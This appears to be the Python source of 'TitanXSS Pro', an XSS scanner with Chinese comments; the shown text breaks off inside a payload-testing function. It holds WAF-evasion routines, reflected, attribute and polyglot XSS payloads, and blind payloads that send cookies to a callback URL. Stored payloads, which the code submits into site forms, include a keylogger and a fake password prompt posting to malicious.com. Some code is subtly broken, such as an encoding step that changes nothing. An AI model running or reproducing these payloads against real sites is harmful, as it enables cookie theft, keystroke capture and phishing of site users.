import requests
import argparse
import random
import string
import re
import time
import threading
import html
import json
import yaml
import hashlib
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse, quote, unquote, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
import asyncio
import aiohttp
from bs4 import BeautifulSoup
import html5lib
import os # 导入os模块用于路径操作
# 尝试导入 Selenium
try:
    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from selenium.common.exceptions import TimeoutException, UnexpectedAlertPresentException
    from webdriver_manager.chrome import ChromeDriverManager
    from selenium.webdriver.chrome.service import Service
    SELENIUM_AVAILABLE = True
except ImportError:
    SELENIUM_AVAILABLE = False
# --- 配置与常量 ---
BANNER = """
████████╗██╗████████╗ █████╗ ███╗   ██╗██╗  ██╗███████╗███████╗
╚══██╔══╝██║╚══██╔══╝██╔══██╗████╗  ██║╚██╗██╔╝██╔════╝██╔════╝
   ██║   ██║   ██║   ███████║██╔██╗ ██║ ╚███╔╝ ███████╗███████╗
   ██║   ██║   ██║   ██╔══██║██║╚██╗██║ ██╔██╗ ╚════██║╚════██║
   ██║   ██║   ██║   ██║  ██║██║ ╚████║██╔╝ ██╗███████║███████║
   ╚═╝   ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚══════╝
                           v3.0 Enterprise Edition
"""
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0"
]
class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    END = '\033[0m'
    BOLD = '\033[1m'

class Logger:
    @staticmethod
    def info(msg): print(f"[{Colors.BLUE}*{Colors.END}] {msg}")
    @staticmethod
    def success(msg): print(f"[{Colors.GREEN}+{Colors.END}] {msg}")
    @staticmethod
    def warning(msg): print(f"[{Colors.YELLOW}!{Colors.END}] {msg}")
    @staticmethod
    def error(msg): print(f"[{Colors.RED}-{Colors.END}] {msg}")
    @staticmethod
    def vuln(msg): print(f"[{Colors.RED}VULN{Colors.END}] {Colors.RED}{Colors.BOLD}{msg}{Colors.END}")
    @staticmethod
    def critical(msg): print(f"[{Colors.RED}CRITICAL{Colors.END}] {Colors.RED}{Colors.BOLD}{msg}{Colors.END}")

# --- 配置管理器 ---
class ConfigManager:
    """配置管理器"""
    def __init__(self, config_file=None):
        self.config = self._load_config(config_file)

    def _load_config(self, config_file):
        """加载配置"""
        default_config = {
            'scanning': {
                'threads': 10,
                'timeout': 15,
                'retries': 3,
                'rate_limit': {
                    'max_requests': 50,
                    'per_seconds': 10,
                    'delay': 0.1
                },
                'user_agents': USER_AGENTS
            },
            'detection': {
                'check_reflected': True,
                'check_dom': True,
                'check_stored': True,
                'check_blind': False,
                'aggressive_mode': False,
                'deep_scan': False
            },
            'payloads': {
                'max_payloads_per_param': 20,
                'enable_polyglots': True,
                'enable_waf_bypass': True
            },
            'reporting': {
                'format': ['html', 'json'],
                'risk_threshold': 'medium',
                'include_evidence': True,
                'executive_summary': True
            }
        }
        if config_file and os.path.exists(config_file):
            try:
                with open(config_file, 'r', encoding='utf-8') as f:
                    user_config = yaml.safe_load(f)
                    # 深度合并配置
                    return self._deep_merge(default_config, user_config)
            except Exception as e:
                Logger.warning(f"配置文件加载失败: {e}, 使用默认配置")
        return default_config

    def _deep_merge(self, base, update):
        """深度合并字典"""
        for key, value in update.items():
            if isinstance(value, dict) and key in base and isinstance(base[key], dict):
                base[key] = self._deep_merge(base[key], value)
            else:
                base[key] = value
        return base

    def get(self, path, default=None):
        """获取配置值"""
        keys = path.split('.')
        value = self.config
        for key in keys:
            if isinstance(value, dict) and key in value:
                value = value[key]
            else:
                return default
        return value

# --- WAF绕过引擎 ---
class WAFBypassEngine:
    """WAF绕过引擎"""
    def __init__(self):
        self.techniques = [
            self._encoding_bypass,
            self._case_manipulation,
            self._token_splitting,
            self._unicode_normalization,
            self._comment_obfuscation,
            self._whitespace_manipulation
        ]

    def generate_bypassed_payloads(self, base_payload, max_variants=5):
        """生成WAF绕过payload变种"""
        variants = set()
        variants.add(base_payload)  # 包含原始payload
        for technique in self.techniques:
            if len(variants) >= max_variants:
                break
            try:
                variant = technique(base_payload)
                if variant and variant != base_payload:
                    variants.add(variant)
            except Exception:
                continue
        return list(variants)

    def _encoding_bypass(self, payload):
        """编码绕过"""
        techniques = [
            # URL编码
            quote(payload),
            quote(quote(payload)),  # 双重编码
            # 部分编码
            payload.replace('<', '%3C').replace('>', '%3E'),
            # HTML实体编码
            payload.replace('<', '<').replace('>', '>'),
            # Hex编码
            ''.join([f'%{ord(char):02x}' for char in payload]),
            # Unicode编码
            ''.join([f'\\u{ord(char):04x}' for char in payload]),
        ]
        return random.choice(techniques)

    def _case_manipulation(self, payload):
        """大小写混淆"""
        result = []
        for char in payload:
            if char.isalpha() and random.random() > 0.6:
                result.append(char.upper() if char.islower() else char.lower())
            else:
                result.append(char)
        return ''.join(result)

    def _token_splitting(self, payload):
        """令牌分割"""
        splits = {
            'script': 'scr' + 'ipt',
            'javascript': 'java' + 'script',
            'alert': 'al' + 'ert',
            'onload': 'on' + 'load',
            'onerror': 'on' + 'error',
            'onmouseover': 'on' + 'mouse' + 'over',
            '<script>': '<scr' + 'ipt>',
            '</script>': '</scr' + 'ipt>'
        }
        result = payload
        for original, split in splits.items():
            if original in result:
                result = result.replace(original, split)
        return result

    def _unicode_normalization(self, payload):
        """Unicode规范化绕过"""
        # 使用Unicode等价字符
        unicode_map = {
            '<': ['\uFF1C', '\uFE64'],  # 全角小于号
            '>': ['\uFF1E', '\uFE65'],  # 全角大于号
            '"': ['\uFF02', '\uFE42'],  # 全角引号
            "'": ['\uFF07', '\uFE41'],   # 全角单引号
            ' ': ['\u00A0', '\u2000', '\u2001']  # 不同空格
        }
        result = payload
        for char, replacements in unicode_map.items():
            if char in result and random.random() > 0.7:
                result = result.replace(char, random.choice(replacements), 1)
        return result

    def _comment_obfuscation(self, payload):
        """注释混淆"""
        if 'script' in payload.lower():
            # 在script标签内插入注释
            return payload.replace('<script>', '<script>/*/**/')
        return payload

    def _whitespace_manipulation(self, payload):
        """空白字符操纵"""
        whitespace_chars = ['\t', '\n', '\r', '\x0b', '\x0c']
        result = []
        for char in payload:
            result.append(char)
            if char in [' ', '=', '>'] and random.random() > 0.8:
                result.append(random.choice(whitespace_chars))
        return ''.join(result)

# --- 高级上下文分析器 ---
class AdvancedContextAnalyzer:
    """高级上下文分析器"""
    CONTEXT_HTML = 1
    CONTEXT_ATTRIBUTE = 2
    CONTEXT_SCRIPT = 3
    CONTEXT_COMMENT = 4
    CONTEXT_STYLE = 5
    CONTEXT_URL = 6

    def __init__(self):
        self.canary_pattern = re.compile(r'TitanXSS[A-Za-z0-9]{8}')

    def analyze(self, html_content, canary):
        """深度上下文分析"""
        contexts = set()
        try:
            # 使用BeautifulSoup进行HTML解析
            soup = BeautifulSoup(html_content, 'html.parser')
            # 检查文本内容
            text_matches = soup.find_all(string=re.compile(re.escape(canary)))
            for text in text_matches:
                parent = text.parent
                if parent and parent.name == 'script':
                    contexts.add(self.CONTEXT_SCRIPT)
                elif parent and parent.name == 'style':
                    contexts.add(self.CONTEXT_STYLE)
                else:
                    # 检查是否在注释中
                    if isinstance(text, bs4.Comment):
                        contexts.add(self.CONTEXT_COMMENT)
                    else:
                        contexts.add(self.CONTEXT_HTML)
            # 检查属性值
            for tag in soup.find_all(True):
                for attr, value in tag.attrs.items():
                    if isinstance(value, str) and canary in value:
                        if attr in ['src', 'href', 'action']:
                            contexts.add(self.CONTEXT_URL)
                        else:
                            contexts.add(self.CONTEXT_ATTRIBUTE)
        except Exception as e:
            Logger.warning(f"深度上下文分析失败: {e}")
            # 回退到正则分析
            contexts.update(self._fallback_analysis(html_content, canary))
        return list(contexts)

    def _fallback_analysis(self, html_content, canary):
        """回退分析（正则）"""
        contexts = set()
        # Script上下文
        if re.search(r'<script[^>]*>[^<]*' + re.escape(canary), html_content, re.IGNORECASE | re.DOTALL):
            contexts.add(self.CONTEXT_SCRIPT)
        # 属性上下文
        if re.search(r'<[^>]+\s+[^=]+=\s*["\'][^"\']*' + re.escape(canary), html_content):
            contexts.add(self.CONTEXT_ATTRIBUTE)
        # HTML上下文
        if re.search(r'>[^<]*' + re.escape(canary) + r'[^<]*<', html_content):
            contexts.add(self.CONTEXT_HTML)
        # 注释上下文
        if re.search(r'<!--[^>]*' + re.escape(canary) + r'[^>]*-->', html_content):
            contexts.add(self.CONTEXT_COMMENT)
        # URL上下文
        if re.search(r'(?:src|href|action)\s*=\s*["\'][^"\']*' + re.escape(canary), html_content, re.IGNORECASE):
            contexts.add(self.CONTEXT_URL)
        return contexts

# --- 智能Payload工厂 ---
class SmartPayloadFactory:
    """智能Payload工厂"""
    def __init__(self, config):
        self.config = config
        self.waf_bypass = WAFBypassEngine()

    def get_payloads(self, context_types, param_priority):
        """根据上下文和参数优先级生成payload"""
        base_payloads = self._get_base_payloads(context_types)
        enhanced_payloads = []
        for payload in base_payloads:
            # 根据参数优先级调整payload数量
            max_variants = self._get_max_variants(param_priority)
            # 添加WAF绕过变种
            if self.config.get('payloads.enable_waf_bypass'):
                variants = self.waf_bypass.generate_bypassed_payloads(payload, max_variants)
                enhanced_payloads.extend(variants)
            else:
                enhanced_payloads.append(payload)
        # 限制payload数量
        max_payloads = self.config.get('payloads.max_payloads_per_param', 20)
        return list(set(enhanced_payloads))[:max_payloads]

    def _get_base_payloads(self, context_types):
        """获取基础payload"""
        payloads = set()
        # 通用payload
        payloads.update([
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "<body onload=alert('XSS')>",
            "<iframe src=\"javascript:alert('XSS')\">"
        ])

        for ctx in context_types:
            if ctx == AdvancedContextAnalyzer.CONTEXT_ATTRIBUTE:
                payloads.update([
                    '"><script>alert("XSS")</script>',
                    "'><script>alert('XSS')</script>",
                    '" onmouseover=alert("XSS") "',
                    "' onmouseover=alert('XSS') '",
                    ' autofocus onfocus=alert("XSS") '
                ])
            elif ctx == AdvancedContextAnalyzer.CONTEXT_SCRIPT:
                payloads.update([
                    "'; alert('XSS'); //",
                    '"; alert("XSS"); //',
                    "</script><script>alert('XSS')</script>",
                    "\\'; alert('XSS'); //",
                    '\\"; alert("XSS"); //'
                ])
            elif ctx == AdvancedContextAnalyzer.CONTEXT_STYLE:
                payloads.update([
                    "</style><script>alert('XSS')</script>",
                    "expression(alert('XSS'))",
                    "javascript:alert('XSS')"
                ])
            elif ctx == AdvancedContextAnalyzer.CONTEXT_URL:
                payloads.update([
                    "javascript:alert('XSS')",
                    "text/html,<script>alert('XSS')</script>",
                    "vbscript:msgbox('XSS')"
                ])

        # Polyglot payloads
        if self.config.get('payloads.enable_polyglots'):
            payloads.update(self._get_polyglot_payloads())

        return list(payloads)

    def _get_polyglot_payloads(self):
        """获取Polyglot payloads"""
        return [
            "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert('XSS')//>\\x3e",
            "\"`'><script>\\x3Bjavascript:alert('XSS')</script>",
            "';alert('XSS')//';alert('XSS')//\";alert('XSS')//\";alert('XSS')//--></SCRIPT>\">'><SCRIPT>alert('XSS')</SCRIPT>"
        ]

    def _get_max_variants(self, priority):
        """根据参数优先级获取最大变种数"""
        priority_map = {'high': 5, 'medium': 3, 'low': 1}
        return priority_map.get(priority, 2)

# --- 盲XSS检测器 ---
class BlindXSSDetector:
    """盲XSS检测器"""
    def __init__(self, callback_url=None):
        self.callback_url = callback_url
        self.unique_id = self._generate_unique_id()

    def _generate_unique_id(self):
        """生成唯一标识"""
        timestamp = str(int(time.time()))
        random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
        return f"titan_{timestamp}_{random_str}"

    def generate_payloads(self, param_name):
        """生成盲XSS payload"""
        if not self.callback_url:
            return []
        payloads = [
            # 基本回调
            f"<script>fetch('{self.callback_url}?id={self.unique_id}&param={param_name}')</script>",
            f"<img src=x onerror=\"fetch('{self.callback_url}?id={self.unique_id}&param={param_name}')\">",
            # 数据窃取
            f"""<script>
                var d={{c:document.cookie,u:location.href,ua:navigator.userAgent}};
                fetch('{self.callback_url}/collect',{{
                    method:'POST',
                    headers:{{'Content-Type':'application/json'}},
                    body:JSON.stringify(d)
                }});
            </script>""",
            # 外部脚本
            f"<script src='{self.callback_url}/xss.js?id={self.unique_id}'></script>",
            # 图片标签
            f"<img src='{self.callback_url}/pixel.gif?id={self.unique_id}'>",
            # 链接标签
            f"<link rel=stylesheet href='{self.callback_url}/style.css?id={self.unique_id}'>"
        ]
        return payloads

    def get_monitoring_instructions(self):
        """获取监控说明"""
        if not self.callback_url:
            return None
        return {
            'unique_id': self.unique_id,
            'callback_url': self.callback_url,
            'instructions': f"请监控到 {self.callback_url} 的请求，查找包含 '{self.unique_id}' 的请求"
        }

# --- 存储型XSS检测器 ---
class StoredXSSDetector:
    """存储型XSS检测器"""
    def __init__(self, session, base_url):
        self.session = session
        self.base_url = base_url
        self.vulnerabilities = []

    def discover_forms(self, html_content):
        """发现表单"""
        forms = []
        try:
            soup = BeautifulSoup(html_content, 'html.parser')
            for form in soup.find_all('form'):
                form_info = {
                    'action': form.get('action', ''),
                    'method': form.get('method', 'GET').upper(),
                    'inputs': []
                }
                for input_tag in form.find_all(['input', 'textarea', 'select']):
                    input_info = {
                        'name': input_tag.get('name'),
                        'type': input_tag.get('type', 'text'),
                        'tag': input_tag.name
                    }
                    if input_info['name']:
                        form_info['inputs'].append(input_info)
                forms.append(form_info)
        except Exception as e:
            Logger.warning(f"表单发现失败: {e}")
        return forms

    def generate_stored_payloads(self):
        """生成存储型XSS payload"""
        return [
            # 持久化payload
            "<script>setTimeout(function(){if(!window.x){window.x=1;alert('Stored XSS')}},100)</script>",
            # 键盘记录
            """<script>document.onkeypress=function(e){var i=new Image;i.src='http://malicious.com/k?k='+e.key}</script>""",
            # 钓鱼覆盖
            """<div style=position:fixed;top:0;left:0;width:100%;height:100%;background:black;color:white;z-index:9999>
                Security Alert: <input placeholder=Password id=p><button onclick="new Image().src='http://malicious.com/p?p='+document.getElementById('p').value">Verify</button>
               </div>""",
            # 隐蔽payload
            """<img src=x onerror="setTimeout(function(){alert('Delayed XSS')},5000)">"""
        ]

    def test_form(self, form, original_url):
        """测试表单"""
        try:
            # 构建目标URL
            action_url = form['action']
            if not action_url.startswith(('http://', 'https://')):
                action_url = urljoin(original_url, action_url)
            # 准备测试数据
            test_data = {}
            for input_field in form['inputs']:
                if input_field['type'] in ['hidden', 'submit']:
                    # 保持隐藏字段和提交按钮的值
                    continue
                elif input_field['type'] in ['text', 'textarea', 'email', 'search']:
                    # 对文本字段使用XSS payload
                    test_data[input_field['name']] = random.choice(self.generate_stored_payloads())
                else:
                    # 其他字段使用测试值
                    test_data[input_field['name']] = f"test_{random.randint(1000,9999)}"

            # 提交表单
            if form['method'] == 'GET':
                response = self.session.get(action_url, params=test_data, timeout=10)
            else:
                response = self.session.post(action_url, data=test_data, timeout=10)

            # 检查响应
            if response.status_code in [200, 201, 302]:
                Logger.info(f"表单提交成功: {action_url}")
                # 这里应该在实际扫描中记录可疑表单提交
        except Exception as e:
            Logger.warning(f"表单测试失败: {e}")

# --- 浏览器引擎 ---
class AdvancedBrowserEngine:
    """高级浏览器引擎"""
    def __init__(self, headless=True):
        if not SELENIUM_AVAILABLE:
            self.driver = None
            return
        try:
            options = Options()
            if headless:
                options.add_argument('--headless')
            options.add_argument('--disable-gpu')
            options.add_argument('--no-sandbox')
            options.add_argument('--disable-xss-auditor')
            options.add_argument('--disable-web-security')
            options.add_argument('--allow-running-insecure-content')
            options.add_experimental_option('excludeSwitches', ['enable-logging'])
            service = Service(ChromeDriverManager().install())
            self.driver = webdriver.Chrome(service=service, options=options)
            self.driver.set_page_load_timeout(15)
        except Exception as e:
            Logger.error(f"浏览器引擎初始化失败: {e}")
            self.driver = None

    def check_dom_xss(self, url):
        """检测DOM XSS"""
        if not self.driver:
            return False
        try:
            self.driver.get(url)
            # 等待页面加载
            time.sleep(2)
            # 检查alert弹窗
            try:
                WebDriverWait(self.driver, 3).until(EC.alert_is_present())
                alert = self.driver.switch_to.alert
                alert_text = alert.text
                alert.accept()
                if any(keyword in alert_text.lower() for keyword in ['xss', '1', 'alert']):
                    return True
            except TimeoutException:
                pass
            # 检查URL变化（可能被重定向到javascript:）
            current_url = self.driver.current_url
            if current_url.startswith('javascript:'):
                return True
            # 检查页面内容变化
            page_source = self.driver.page_source
            if any(keyword in page_source for keyword in ['<script>alert', 'onload=alert', 'onerror=alert']):
                return True
        except Exception as e:
            Logger.warning(f"DOM XSS检测异常: {e}")
        return False

    def quit(self):
        """关闭浏览器"""
        if self.driver:
            self.driver.quit()

# --- 性能优化器 ---
class PerformanceOptimizer:
    """性能优化器"""
    def __init__(self, config):
        self.config = config
        self.request_times = []
        self.adaptive_delay = config.get('scanning.rate_limit.delay', 0.1)

    def calculate_priority(self, param_name):
        """计算参数优先级"""
        priority_map = {
            'high': ['search', 'q', 'query', 'keyword', 's'],
            'medium': ['id', 'user', 'name', 'email', 'message', 'comment'],
            'low': ['page', 'view', 'action', 'type', 'category']
        }
        param_lower = param_name.lower()
        for priority, params in priority_map.items():
            if param_lower in params:
                return priority
        return 'low'

    def record_request_time(self, response_time):
        """记录请求时间"""
        self.request_times.append(response_time)
        # 保持最近20个请求的时间
        if len(self.request_times) > 20:
            self.request_times.pop(0)
        # 自适应调整延迟
        if len(self.request_times) >= 5:
            avg_time = sum(self.request_times) / len(self.request_times)
            if avg_time > 2.0:
                self.adaptive_delay = min(0.5, self.adaptive_delay * 1.2)
            elif avg_time < 0.5:
                self.adaptive_delay = max(0.01, self.adaptive_delay * 0.8)

    def get_delay(self):
        """获取延迟时间"""
        return self.adaptive_delay

# --- 风险评估引擎 ---
class RiskAssessmentEngine:
    """风险评估引擎"""
    def __init__(self):
        self.risk_weights = {
            'dom_xss': 9.0,
            'stored_xss': 8.5,
            'reflected_xss': 7.0,
            'blind_xss': 8.0,
            'context_script': 2.0,
            'context_attribute': 1.5,
            'context_html': 1.0
        }

    def assess_vulnerability(self, vulnerability):
        """评估单个漏洞风险"""
        base_score = self.risk_weights.get(vulnerability['type'].lower(), 5.0)
        # 基于上下文的调整
        if 'context' in vulnerability:
            context_score = self.risk_weights.get(f"context_{vulnerability['context']}", 0)
            base_score += context_score
        # 基于payload复杂度的调整
        if 'payload' in vulnerability:
            payload_complexity = self._assess_payload_complexity(vulnerability['payload'])
            base_score += payload_complexity * 0.5

        return min(base_score, 10.0)

    def _assess_payload_complexity(self, payload):
        """评估payload复杂度"""
        complexity_indicators = [
            '</script>' in payload,  # 脚本标签闭合
            'onload' in payload or 'onerror' in payload,  # 事件处理器
            'javascript:' in payload,  # JS协议
            'svg' in payload or 'iframe' in payload,  # 复杂标签
            'expression' in payload,  # CSS表达式
            len(payload) > 50  # 长度
        ]
        return sum(complexity_indicators)

    def get_risk_level(self, score):
        """获取风险等级"""
        if score >= 8.0:
            return 'CRITICAL'
        elif score >= 6.0:
            return 'HIGH'
        elif score >= 4.0:
            return 'MEDIUM'
        elif score >= 2.0:
            return 'LOW'
        else:
            return 'INFO'

# --- 增强报告生成器 ---
class EnhancedReporter:
    """增强报告生成器"""
    def __init__(self, scanner):
        self.scanner = scanner
        self.risk_engine = RiskAssessmentEngine()

    def generate_report(self):
        """生成综合报告"""
        report = {
            'metadata': self._generate_metadata(),
            'executive_summary': self._generate_executive_summary(),
            'technical_findings': self._generate_technical_findings(),
            'risk_assessment': self._generate_risk_assessment(),
            'remediation_guidance': self._generate_remediation_guidance(),
            'scan_details': self._generate_scan_details()
        }
        # 生成多种格式报告
        self._generate_html_report(report)
        self._generate_json_report(report)
        return report

    def _generate_metadata(self):
        """生成元数据"""
        return {
            'scan_id': hashlib.md5(str(time.time()).encode()).hexdigest()[:8],
            'target': self.scanner.target_url,
            'timestamp': datetime.now().isoformat(),
            'scanner_version': 'TitanXSS Pro v3.0',
            'duration': getattr(self.scanner, 'scan_duration', 'N/A')
        }

    def _generate_executive_summary(self):
        """生成执行摘要"""
        vulns = self.scanner.vulnerabilities
        critical_count = sum(1 for v in vulns if v.get('risk_level') == 'CRITICAL')
        high_count = sum(1 for v in vulns if v.get('risk_level') == 'HIGH')
        return {
            'total_vulnerabilities': len(vulns),
            'critical_vulnerabilities': critical_count,
            'high_vulnerabilities': high_count,
            'overall_risk': self._calculate_overall_risk(vulns),
            'key_findings': self._get_key_findings(vulns)
        }

    def _generate_technical_findings(self):
        """生成技术发现"""
        findings = []
        for vuln in self.scanner.vulnerabilities:
            finding = {
                'type': vuln['type'],
                'parameter': vuln.get('param', 'N/A'),
                'payload': vuln.get('payload', 'N/A'),
                'url': vuln.get('url', 'N/A'),
                'risk_level': vuln.get('risk_level', 'MEDIUM'),
                'risk_score': vuln.get('risk_score', 5.0),
                'context': vuln.get('context', 'N/A'),
                'evidence': vuln.get('evidence', 'Payload反射')
            }
            findings.append(finding)
        return findings

    def _generate_risk_assessment(self):
        """生成风险评估"""
        vulns = self.scanner.vulnerabilities
        if not vulns:
            return {'overall_risk': 'LOW', 'score': 0.0}

        total_score = sum(v.get('risk_score', 5.0) for v in vulns)
        avg_score = total_score / len(vulns)
        return {
            'overall_risk': self.risk_engine.get_risk_level(avg_score),
            'average_risk_score': avg_score,
            'vulnerability_distribution': self._get_vuln_distribution(vulns)
        }

    def _generate_remediation_guidance(self):
        """生成修复指导"""
        return {
            'immediate_actions': [
                "对所有用户输入实施严格的输入验证",
                "实施上下文相关的输出编码",
                "部署内容安全策略(CSP)",
                "设置HttpOnly和Secure Cookie标志"
            ],
            'technical_recommendations': [
                "使用OWASP ESAPI等安全编码库",
                "实施自动安全测试流程",
                "定期进行安全代码审查",
                "部署Web应用防火墙(WAF)"
            ],
            'best_practices': [
                "遵循最小权限原则",
                "实施深度防御策略",
                "定期更新和修补系统",
                "进行安全意识培训"
            ]
        }

    def _generate_scan_details(self):
        """生成扫描详情"""
        return {
            'parameters_tested': getattr(self.scanner, 'params_tested', 0),
            'payloads_injected': getattr(self.scanner, 'payloads_injected', 0),
            'scan_config': self.scanner.config.config if hasattr(self.scanner, 'config') else {}
        }

    def _calculate_overall_risk(self, vulnerabilities):
        """计算总体风险"""
        if not vulnerabilities:
            return 'LOW'
        risk_scores = [v.get('risk_score', 5.0) for v in vulnerabilities]
        avg_score = sum(risk_scores) / len(risk_scores)
        return self.risk_engine.get_risk_level(avg_score)

    def _get_key_findings(self, vulnerabilities):
        """获取关键发现"""
        key_findings = []
        for vuln in vulnerabilities[:3]:  # 取前3个最重要的
            key_findings.append({
                'type': vuln['type'],
                'risk': vuln.get('risk_level', 'MEDIUM'),
                'location': vuln.get('param', 'N/A')
            })
        return key_findings

    def _get_vuln_distribution(self, vulnerabilities):
        """获取漏洞分布"""
        distribution = {}
        for vuln in vulnerabilities:
            vuln_type = vuln['type']
            distribution[vuln_type] = distribution.get(vuln_type, 0) + 1
        return distribution

    def _generate_html_report(self, report):
        """生成HTML报告"""
        # 从配置中获取报告存放路径，如果未配置则默认为当前目录
        report_dir = os.path.join(os.getcwd(), "reports")
        os.makedirs(report_dir, exist_ok=True) # 确保目录存在
        filename = os.path.join(report_dir, f"TitanXSS_Report_{report['metadata']['scan_id']}.html")
        # 简化的HTML报告生成
        html_content = self._render_html_template(report)
        with open(filename, 'w', encoding='utf-8') as f:
            f.write(html_content)
        Logger.success(f"HTML报告已生成: {filename}")

    def _generate_json_report(self, report):
        """生成JSON报告"""
        # 从配置中获取报告存放路径，如果未配置则默认为当前目录
        report_dir = os.path.join(os.getcwd(), "reports")
        os.makedirs(report_dir, exist_ok=True) # 确保目录存在
        filename = os.path.join(report_dir, f"TitanXSS_Report_{report['metadata']['scan_id']}.json")
        with open(filename, 'w', encoding='utf-8') as f:
            json.dump(report, f, indent=2, ensure_ascii=False)
        Logger.success(f"JSON报告已生成: {filename}")

    def _render_html_template(self, report):
        """渲染HTML模板"""
        # 这里实现完整的HTML报告渲染
        # 由于篇幅限制，只提供简化版本
        return f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>TitanXSS Pro 安全审计报告</title>
            <style>
                body {{ font-family: Arial, sans-serif; margin: 40px; }}
                .vuln-card {{ border: 1px solid #ccc; padding: 15px; margin: 10px 0; }}
                .critical {{ border-left: 5px solid #dc3545; }}
                .high {{ border-left: 5px solid #fd7e14; }}
                .medium {{ border-left: 5px solid #ffc107; }}
            </style>
        </head>
        <body>
            <h1>TitanXSS Pro 安全审计报告</h1>
            <p><strong>目标:</strong> {report['metadata']['target']}</p>
            <p><strong>时间:</strong> {report['metadata']['timestamp']}</p>
            <p><strong>总体风险:</strong> {report['executive_summary']['overall_risk']}</p>
            <h2>漏洞详情</h2>
            {self._render_vulnerabilities_html(report['technical_findings'])}
        </body>
        </html>
        """

    def _render_vulnerabilities_html(self, findings):
        """渲染漏洞HTML"""
        if not findings:
            return "<p>未发现漏洞</p>"
        html_parts = []
        for finding in findings:
            risk_class = finding['risk_level'].lower()
            html_parts.append(f"""
            <div class="vuln-card {risk_class}">
                <h3>{finding['type']} - {finding['risk_level']}</h3>
                <p><strong>参数:</strong> {finding['parameter']}</p>
                <p><strong>Payload:</strong> <code>{html.escape(finding['payload'])}</code></p>
                <p><strong>URL:</strong> <a href="{finding['url']}" target="_blank">{finding['url']}</a></p>
            </div>
            """)
        return ''.join(html_parts)

# --- 主扫描器类 ---
class TitanXSSScanner:
    """TitanXSS主扫描器"""
    def __init__(self, target_url, method="GET", data=None, cookie=None,
                 threads=10, use_dom=True, config_file=None, callback_url=None):
        self.target_url = target_url
        self.method = method.upper()
        self.post_data = parse_qs(data) if data else {}
        self.cookie = cookie
        self.threads = threads
        self.use_dom = use_dom
        # 初始化组件
        self.config = ConfigManager(config_file)
        self.session = self._create_session()
        self.context_analyzer = AdvancedContextAnalyzer()
        self.payload_factory = SmartPayloadFactory(self.config)
        self.performance_optimizer = PerformanceOptimizer(self.config)
        self.risk_engine = RiskAssessmentEngine()
        self.blind_detector = BlindXSSDetector(callback_url)
        self.stored_detector = StoredXSSDetector(self.session, target_url)
        # 浏览器引擎
        self.browser = None
        if self.use_dom and SELENIUM_AVAILABLE:
            Logger.info("初始化浏览器引擎...")
            self.browser = AdvancedBrowserEngine()
        # 解析URL参数
        self.parsed_url = urlparse(target_url)
        self.get_params = parse_qs(self.parsed_url.query)
        # 扫描结果
        self.vulnerabilities = []
        self.lock = threading.Lock()
        self.scan_stats = {
            'params_tested': 0,
            'payloads_injected': 0,
            'start_time': None,
            'end_time': None
        }

    def _create_session(self):
        """创建会话"""
        session = requests.Session()
        session.verify = False
        session.headers.update({
            'User-Agent': random.choice(self.config.get('scanning.user_agents')),
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'DNT': '1',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1'
        })
        if self.cookie:
            session.headers.update({'Cookie': self.cookie})
        return session

    def _send_request(self, params, post_data=None):
        """发送HTTP请求"""
        start_time = time.time()
        try:
            # 重组URL
            query_string = urlencode(params, doseq=True)
            url = urlunparse(self.parsed_url._replace(query=query_string))
            if self.method == "GET":
                response = self.session.get(url, timeout=self.config.get('scanning.timeout'))
            else:
                response = self.session.post(url, data=post_data, timeout=self.config.get('scanning.timeout'))
            # 记录请求时间
            response_time = time.time() - start_time
            self.performance_optimizer.record_request_time(response_time)
            # 速率限制
            time.sleep(self.performance_optimizer.get_delay())
            return response, url
        except requests.RequestException as e:
            Logger.warning(f"请求失败: {e}")
            return None, None

    def scan_param(self, param_name, is_post=False):
        """扫描单个参数"""
        # 1. 启发式探测
        canary = "TitanXSS" + ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
        test_params = self.get_params.copy()
        test_post = self.post_data.copy()
        if is_post:
            test_post[param_name] = canary
        else:
            test_params[param_name] = canary

        resp, current_url = self._send_request(test_params, test_post)
        if not resp or resp.status_code != 200:
            return

        # 检查回显
        if canary not in resp.text:
            return

        # 2. 上下文分析
        contexts = self.context_analyzer.analyze(resp.text, canary)
        if not contexts:
            return

        Logger.info(f"参数 {Colors.CYAN}{param_name}{Colors.END} 存在回显，上下文: {len(contexts)} 种")

        # 3. 获取参数优先级
        param_priority = self.performance_optimizer.calculate_priority(param_name)

        # 4. 生成Payload
        payloads = self.payload_factory.get_payloads(contexts, param_priority)
        Logger.info(f"生成 {len(payloads)} 个Payload用于测试")

        # 5. 测试Payload
        for payload in payloads:
            if self._test_payload(param_name, payload, is_post, contexts):
                break  # 发现一个漏洞就停止测试该参数

    def _test_payload(self, param_name, payload, is_post, contexts):
        """测试单个Payload"""
        p_params = self.get_params.copy()
        p_post = self.post_data.copy()
